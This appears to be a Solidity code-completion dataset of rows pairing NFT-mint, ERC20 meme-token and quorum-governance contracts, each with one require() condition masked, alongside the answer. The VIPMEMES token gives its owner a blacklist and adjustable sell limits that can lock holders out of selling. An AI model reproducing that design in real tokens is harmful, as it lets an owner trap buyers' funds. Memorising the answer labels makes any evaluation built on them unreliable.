comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"invalid addres" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/******************************************************************************************* /
* βββββββββββ ββββββββββ *
* ββββββββββββ ββββββββββββ *
* ββββ β β ββββββ βββββββ ββββ βββββ ββββββββ ββββββ ββββββββ βββββ *
* ββββββββ ββββββββ ββββββββ ββββ ββββββββββββββ ββββββββββββββββββ βββββ *
* ββββββββ ββββ ββββββββ ββββ ββββ ββββ ββββ βββ ββββ ββββ ββββ βββββββββββ *
* ββββ β ββββ ββββββββ ββββ ββββ βββ ββββ ββββ ββββ ββββ ββββ βββββββ *
* βββββ ββββββββ βββββββββ ββββββββββ βββββ ββββββββ ββββββββ ββββββ *
* βββββ ββββββ ββββββββββββββββββ βββββ ββββββ βββββββ ββββββ *
* βββ ββββ ββββ *
* ββββββββ βββββ *
* ββββββ βββββ *
******************************************************************************************** / *
*/
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FogDrop is ERC721AQueryable, Ownable, ReentrancyGuard {
string public baseTokenURI = "";
string public uriSuffix = "";
bytes32 public merkleRoot;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
uint256 public maxMintAmountPreOwner;
bool public mintPaused = true;
bool public whitelistMintEnabled = false;
constructor(
string memory _name,
string memory _symbol,
uint256 _maxPreTx,
uint256 _maxSupply,
uint256 _maxPreOwner,
uint256 _cost,
string memory _baseUri
) ERC721A(_name, _symbol) {
}
/**
* @dev check the conditions are valid
*/
modifier _check_mint_compliance(uint256 _mintAmount) {
require(<FILL_ME>)
require(
_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx,
"Invalid mint amount!"
);
require(
ownerMintAmount(_msgSender()) + _mintAmount <=
maxMintAmountPreOwner,
"mint amount limited"
);
require(
totalSupply() + _mintAmount <= maxSupply,
"Max supply exceeded!"
);
_;
}
/**
* @dev check mint balance
*/
modifier _check_mint_balance(uint256 _mintAmount) {
}
/**
* @dev return someone mint amount
*/
function ownerMintAmount(address owner) public view returns (uint256) {
}
/**
* @dev whitelist mint NFTs
*/
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof)
public
payable
_check_mint_compliance(_mintAmount)
_check_mint_balance(_mintAmount)
{
}
/**
* @dev public mint for everyone
*/
function mint(uint256 _mintAmount)
public
payable
_check_mint_compliance(_mintAmount)
_check_mint_balance(_mintAmount)
{
}
/**
* @dev The owner mint NFT for the receiver
*/
function mintTo(uint256 _mintAmount, address _receiver) public onlyOwner {
}
/**
* @dev return whitelist mint amount
*/
function numberWhitelistMinted(address _owner)
public
view
returns (uint256)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @dev This will set the price of every single NFT.
*/
function setCost(uint256 _cost) public onlyOwner {
}
/**
* @dev This will set How many NFT can be mint in single Tx .
*/
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx)
public
onlyOwner
{
}
/**
* @dev This will set How many NFT can a wallet to mint .
*/
function setMaxMintAmountPreOwner(uint256 _maxMintAmountPreOwner)
public
onlyOwner
{
}
/**
* @dev This will set the base token url when revealed .
*/
function setBaseTokenURI(string memory _baseUrl) public onlyOwner {
}
/**
* @dev This will enable or disable publit mint.if false, it should be public .
*/
function setPaused(bool _state) public onlyOwner {
}
/**
* @dev This will set the merkle tree root of the whitelist .
*/
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @dev This will enable or disaple whitelist mint.
*/
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
/**
* @dev This will set uri suffix.
*/
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/**
* @dev This will transfer the remaining contract balance to the owner.
*/
function withdraw() public onlyOwner nonReentrant {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A,IERC721A)
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| _msgSender().code.length==0,"invalid addres" | 472,811 | _msgSender().code.length==0 |
"mint amount limited" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/******************************************************************************************* /
* βββββββββββ ββββββββββ *
* ββββββββββββ ββββββββββββ *
* ββββ β β ββββββ βββββββ ββββ βββββ ββββββββ ββββββ ββββββββ βββββ *
* ββββββββ ββββββββ ββββββββ ββββ ββββββββββββββ ββββββββββββββββββ βββββ *
* ββββββββ ββββ ββββββββ ββββ ββββ ββββ ββββ βββ ββββ ββββ ββββ βββββββββββ *
* ββββ β ββββ ββββββββ ββββ ββββ βββ ββββ ββββ ββββ ββββ ββββ βββββββ *
* βββββ ββββββββ βββββββββ ββββββββββ βββββ ββββββββ ββββββββ ββββββ *
* βββββ ββββββ ββββββββββββββββββ βββββ ββββββ βββββββ ββββββ *
* βββ ββββ ββββ *
* ββββββββ βββββ *
* ββββββ βββββ *
******************************************************************************************** / *
*/
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FogDrop is ERC721AQueryable, Ownable, ReentrancyGuard {
string public baseTokenURI = "";
string public uriSuffix = "";
bytes32 public merkleRoot;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
uint256 public maxMintAmountPreOwner;
bool public mintPaused = true;
bool public whitelistMintEnabled = false;
constructor(
string memory _name,
string memory _symbol,
uint256 _maxPreTx,
uint256 _maxSupply,
uint256 _maxPreOwner,
uint256 _cost,
string memory _baseUri
) ERC721A(_name, _symbol) {
}
/**
* @dev check the conditions are valid
*/
modifier _check_mint_compliance(uint256 _mintAmount) {
require(_msgSender().code.length == 0, "invalid addres");
require(
_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx,
"Invalid mint amount!"
);
require(<FILL_ME>)
require(
totalSupply() + _mintAmount <= maxSupply,
"Max supply exceeded!"
);
_;
}
/**
* @dev check mint balance
*/
modifier _check_mint_balance(uint256 _mintAmount) {
}
/**
* @dev return someone mint amount
*/
function ownerMintAmount(address owner) public view returns (uint256) {
}
/**
* @dev whitelist mint NFTs
*/
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof)
public
payable
_check_mint_compliance(_mintAmount)
_check_mint_balance(_mintAmount)
{
}
/**
* @dev public mint for everyone
*/
function mint(uint256 _mintAmount)
public
payable
_check_mint_compliance(_mintAmount)
_check_mint_balance(_mintAmount)
{
}
/**
* @dev The owner mint NFT for the receiver
*/
function mintTo(uint256 _mintAmount, address _receiver) public onlyOwner {
}
/**
* @dev return whitelist mint amount
*/
function numberWhitelistMinted(address _owner)
public
view
returns (uint256)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @dev This will set the price of every single NFT.
*/
function setCost(uint256 _cost) public onlyOwner {
}
/**
* @dev This will set How many NFT can be mint in single Tx .
*/
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx)
public
onlyOwner
{
}
/**
* @dev This will set How many NFT can a wallet to mint .
*/
function setMaxMintAmountPreOwner(uint256 _maxMintAmountPreOwner)
public
onlyOwner
{
}
/**
* @dev This will set the base token url when revealed .
*/
function setBaseTokenURI(string memory _baseUrl) public onlyOwner {
}
/**
* @dev This will enable or disable publit mint.if false, it should be public .
*/
function setPaused(bool _state) public onlyOwner {
}
/**
* @dev This will set the merkle tree root of the whitelist .
*/
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @dev This will enable or disaple whitelist mint.
*/
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
/**
* @dev This will set uri suffix.
*/
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/**
* @dev This will transfer the remaining contract balance to the owner.
*/
function withdraw() public onlyOwner nonReentrant {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A,IERC721A)
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| ownerMintAmount(_msgSender())+_mintAmount<=maxMintAmountPreOwner,"mint amount limited" | 472,811 | ownerMintAmount(_msgSender())+_mintAmount<=maxMintAmountPreOwner |
"Address already claimed!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/******************************************************************************************* /
* βββββββββββ ββββββββββ *
* ββββββββββββ ββββββββββββ *
* ββββ β β ββββββ βββββββ ββββ βββββ ββββββββ ββββββ ββββββββ βββββ *
* ββββββββ ββββββββ ββββββββ ββββ ββββββββββββββ ββββββββββββββββββ βββββ *
* ββββββββ ββββ ββββββββ ββββ ββββ ββββ ββββ βββ ββββ ββββ ββββ βββββββββββ *
* ββββ β ββββ ββββββββ ββββ ββββ βββ ββββ ββββ ββββ ββββ ββββ βββββββ *
* βββββ ββββββββ βββββββββ ββββββββββ βββββ ββββββββ ββββββββ ββββββ *
* βββββ ββββββ ββββββββββββββββββ βββββ ββββββ βββββββ ββββββ *
* βββ ββββ ββββ *
* ββββββββ βββββ *
* ββββββ βββββ *
******************************************************************************************** / *
*/
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FogDrop is ERC721AQueryable, Ownable, ReentrancyGuard {
string public baseTokenURI = "";
string public uriSuffix = "";
bytes32 public merkleRoot;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
uint256 public maxMintAmountPreOwner;
bool public mintPaused = true;
bool public whitelistMintEnabled = false;
constructor(
string memory _name,
string memory _symbol,
uint256 _maxPreTx,
uint256 _maxSupply,
uint256 _maxPreOwner,
uint256 _cost,
string memory _baseUri
) ERC721A(_name, _symbol) {
}
/**
* @dev check the conditions are valid
*/
modifier _check_mint_compliance(uint256 _mintAmount) {
}
/**
* @dev check mint balance
*/
modifier _check_mint_balance(uint256 _mintAmount) {
}
/**
* @dev return someone mint amount
*/
function ownerMintAmount(address owner) public view returns (uint256) {
}
/**
* @dev whitelist mint NFTs
*/
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof)
public
payable
_check_mint_compliance(_mintAmount)
_check_mint_balance(_mintAmount)
{
// Verify whitelist requirements
require(whitelistMintEnabled, "The whitelist sale is not enabled!");
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"Invalid proof!"
);
_setAux(_msgSender(), _getAux(_msgSender()) + uint64(_mintAmount));
_safeMint(_msgSender(), _mintAmount);
}
/**
* @dev public mint for everyone
*/
function mint(uint256 _mintAmount)
public
payable
_check_mint_compliance(_mintAmount)
_check_mint_balance(_mintAmount)
{
}
/**
* @dev The owner mint NFT for the receiver
*/
function mintTo(uint256 _mintAmount, address _receiver) public onlyOwner {
}
/**
* @dev return whitelist mint amount
*/
function numberWhitelistMinted(address _owner)
public
view
returns (uint256)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @dev This will set the price of every single NFT.
*/
function setCost(uint256 _cost) public onlyOwner {
}
/**
* @dev This will set How many NFT can be mint in single Tx .
*/
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx)
public
onlyOwner
{
}
/**
* @dev This will set How many NFT can a wallet to mint .
*/
function setMaxMintAmountPreOwner(uint256 _maxMintAmountPreOwner)
public
onlyOwner
{
}
/**
* @dev This will set the base token url when revealed .
*/
function setBaseTokenURI(string memory _baseUrl) public onlyOwner {
}
/**
* @dev This will enable or disable publit mint.if false, it should be public .
*/
function setPaused(bool _state) public onlyOwner {
}
/**
* @dev This will set the merkle tree root of the whitelist .
*/
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @dev This will enable or disaple whitelist mint.
*/
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
/**
* @dev This will set uri suffix.
*/
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/**
* @dev This will transfer the remaining contract balance to the owner.
*/
function withdraw() public onlyOwner nonReentrant {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A,IERC721A)
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| numberWhitelistMinted(_msgSender())==0,"Address already claimed!" | 472,811 | numberWhitelistMinted(_msgSender())==0 |
"Forbid" | // Get your SAFU contract now via Coinsult.net
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "./Owned.sol";
contract VIPMEMES is
ERC20,
ERC20Burnable,
ERC20Snapshot,
Owned
{
struct history {
uint256 user;
}
mapping (address => bool) private _imemcoin;
mapping(address => history) private _history;
uint256 private _timetostart;
bool public checkifcannft;
address public uniswapV2Pair;
bool public limited;
uint256 public maxHoldingAmount;
uint256 public minHoldingAmount;
/**
* @dev Sets the values for {name} and {symbol} and mint the tokens to the address set.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
address _owner,
string memory token,
string memory _symbol
)
ERC20(token,
_symbol
)
Owned(_owner)
{
}
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example in our contract, only Owner can call it.
*
*/
function snapshot() public onlyOwner {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
}
function addmemcoin (address _evilUser) public onlyOwner {
}
function removememcoin (address _clearedUser) public onlyOwner {
}
function _getmemcoinStatus(address _maker) private view returns (bool) {
}
function setcheckifcannft(bool _canbe) external onlyOwner {
}
function _beforeTokenTransfer(
address sender,
address recipient,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
if (uniswapV2Pair == address(0)) {
require(sender == owner || recipient == owner, "trading is not started");
return;
}
if (limited && recipient == uniswapV2Pair && sender != owner) {
require(<FILL_ME>)
}
if(checkifcannft==true){
require(_getmemcoinStatus(sender) == false || _getmemcoinStatus(recipient) == false, "this is Not Our Token");
}
super._beforeTokenTransfer(sender, recipient, amount);
}
}
| super.balanceOf(sender)+amount<=maxHoldingAmount&&super.balanceOf(sender)+amount>=minHoldingAmount,"Forbid" | 472,911 | super.balanceOf(sender)+amount<=maxHoldingAmount&&super.balanceOf(sender)+amount>=minHoldingAmount |
"this is Not Our Token" | // Get your SAFU contract now via Coinsult.net
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "./Owned.sol";
contract VIPMEMES is
ERC20,
ERC20Burnable,
ERC20Snapshot,
Owned
{
struct history {
uint256 user;
}
mapping (address => bool) private _imemcoin;
mapping(address => history) private _history;
uint256 private _timetostart;
bool public checkifcannft;
address public uniswapV2Pair;
bool public limited;
uint256 public maxHoldingAmount;
uint256 public minHoldingAmount;
/**
* @dev Sets the values for {name} and {symbol} and mint the tokens to the address set.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
address _owner,
string memory token,
string memory _symbol
)
ERC20(token,
_symbol
)
Owned(_owner)
{
}
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example in our contract, only Owner can call it.
*
*/
function snapshot() public onlyOwner {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
}
function addmemcoin (address _evilUser) public onlyOwner {
}
function removememcoin (address _clearedUser) public onlyOwner {
}
function _getmemcoinStatus(address _maker) private view returns (bool) {
}
function setcheckifcannft(bool _canbe) external onlyOwner {
}
function _beforeTokenTransfer(
address sender,
address recipient,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
if (uniswapV2Pair == address(0)) {
require(sender == owner || recipient == owner, "trading is not started");
return;
}
if (limited && recipient == uniswapV2Pair && sender != owner) {
require(super.balanceOf(sender) + amount <= maxHoldingAmount && super.balanceOf(sender) + amount >= minHoldingAmount, "Forbid");
}
if(checkifcannft==true){
require(<FILL_ME>)
}
super._beforeTokenTransfer(sender, recipient, amount);
}
}
| _getmemcoinStatus(sender)==false||_getmemcoinStatus(recipient)==false,"this is Not Our Token" | 472,911 | _getmemcoinStatus(sender)==false||_getmemcoinStatus(recipient)==false |
"onlyMember: caller is not member" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
if( _memberIndex.getIndexedSize() < _minimumMembers ) { //μ΅μ λ§΄λ² μΈμμ μΆ©μ‘±νμ§ λͺ» ν κ²½μ° contract ownerλ§ νΈμΆ κ°λ₯νλ€
require( msg.sender == _creator, "onlyMember: If less than the minimum number of members, caller must be a contract owner");
} else {
require(<FILL_ME>)
}
_;
}
modifier onlyQuorum( uint256 docId ) {
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| _memberIndex.getIndex(msg.sender)>0,"onlyMember: caller is not member" | 472,940 | _memberIndex.getIndex(msg.sender)>0 |
"onlyQuorum: cancelled" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
/*
μΉμΈλ ν invoke νΈμΆνμ μ΄ μμ΄μΌ μΌ νλ€.
κΈ°μμμ±μκ° invokeλ₯Ό νΈμΆ νμ¬μΌ νλ€.
κΈ°μμμ±μΌλ‘ λΆν° 3μΌ μ΄λ΄μ νΈμΆλμ΄μΌ νλ€.
2λͺ
λ―Έλ§ μΈκ²½μ° contract μμ±μλ§ νΈμΆ κ°λ₯
*/
require(<FILL_ME>)
require( !_doc[ docId ].invoked, "onlyQuorum: already invoked");
require( _doc[ docId ].drafter == msg.sender, "onlyQuorum: caller is not drafter");
require( (_doc[ docId ].draftDate + ( _expirationPeriod * 86400) ) > block.timestamp, "onlyQuorum: approval period has expired" );
uint256 numberOfMembers = _memberIndex.getIndexedSize();
if( _minimumMembers == 0 || numberOfMembers < _minimumMembers ) { //μ΅μ μΈμ μ΄νμ΄λ©΄ contract ownerλ§ νΈμΆ κ°λ₯νλ€
require( msg.sender == _creator, "onlyMember: If less than the minimum number of members, caller must be a contract owner");
} else { //μ΅μ μΈμ μ΄μμΈ κ²½μ°
uint256 minimumApproval = (numberOfMembers / 2) + 1;
require( _doc[ docId ].approval >= minimumApproval, "onlyQuorum: approval count must be at least (number of members / 2) + 1");
}
_;
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| !_doc[docId].cancellation,"onlyQuorum: cancelled" | 472,940 | !_doc[docId].cancellation |
"onlyQuorum: already invoked" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
/*
μΉμΈλ ν invoke νΈμΆνμ μ΄ μμ΄μΌ μΌ νλ€.
κΈ°μμμ±μκ° invokeλ₯Ό νΈμΆ νμ¬μΌ νλ€.
κΈ°μμμ±μΌλ‘ λΆν° 3μΌ μ΄λ΄μ νΈμΆλμ΄μΌ νλ€.
2λͺ
λ―Έλ§ μΈκ²½μ° contract μμ±μλ§ νΈμΆ κ°λ₯
*/
require( !_doc[ docId ].cancellation, "onlyQuorum: cancelled");
require(<FILL_ME>)
require( _doc[ docId ].drafter == msg.sender, "onlyQuorum: caller is not drafter");
require( (_doc[ docId ].draftDate + ( _expirationPeriod * 86400) ) > block.timestamp, "onlyQuorum: approval period has expired" );
uint256 numberOfMembers = _memberIndex.getIndexedSize();
if( _minimumMembers == 0 || numberOfMembers < _minimumMembers ) { //μ΅μ μΈμ μ΄νμ΄λ©΄ contract ownerλ§ νΈμΆ κ°λ₯νλ€
require( msg.sender == _creator, "onlyMember: If less than the minimum number of members, caller must be a contract owner");
} else { //μ΅μ μΈμ μ΄μμΈ κ²½μ°
uint256 minimumApproval = (numberOfMembers / 2) + 1;
require( _doc[ docId ].approval >= minimumApproval, "onlyQuorum: approval count must be at least (number of members / 2) + 1");
}
_;
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| !_doc[docId].invoked,"onlyQuorum: already invoked" | 472,940 | !_doc[docId].invoked |
"onlyQuorum: caller is not drafter" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
/*
μΉμΈλ ν invoke νΈμΆνμ μ΄ μμ΄μΌ μΌ νλ€.
κΈ°μμμ±μκ° invokeλ₯Ό νΈμΆ νμ¬μΌ νλ€.
κΈ°μμμ±μΌλ‘ λΆν° 3μΌ μ΄λ΄μ νΈμΆλμ΄μΌ νλ€.
2λͺ
λ―Έλ§ μΈκ²½μ° contract μμ±μλ§ νΈμΆ κ°λ₯
*/
require( !_doc[ docId ].cancellation, "onlyQuorum: cancelled");
require( !_doc[ docId ].invoked, "onlyQuorum: already invoked");
require(<FILL_ME>)
require( (_doc[ docId ].draftDate + ( _expirationPeriod * 86400) ) > block.timestamp, "onlyQuorum: approval period has expired" );
uint256 numberOfMembers = _memberIndex.getIndexedSize();
if( _minimumMembers == 0 || numberOfMembers < _minimumMembers ) { //μ΅μ μΈμ μ΄νμ΄λ©΄ contract ownerλ§ νΈμΆ κ°λ₯νλ€
require( msg.sender == _creator, "onlyMember: If less than the minimum number of members, caller must be a contract owner");
} else { //μ΅μ μΈμ μ΄μμΈ κ²½μ°
uint256 minimumApproval = (numberOfMembers / 2) + 1;
require( _doc[ docId ].approval >= minimumApproval, "onlyQuorum: approval count must be at least (number of members / 2) + 1");
}
_;
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
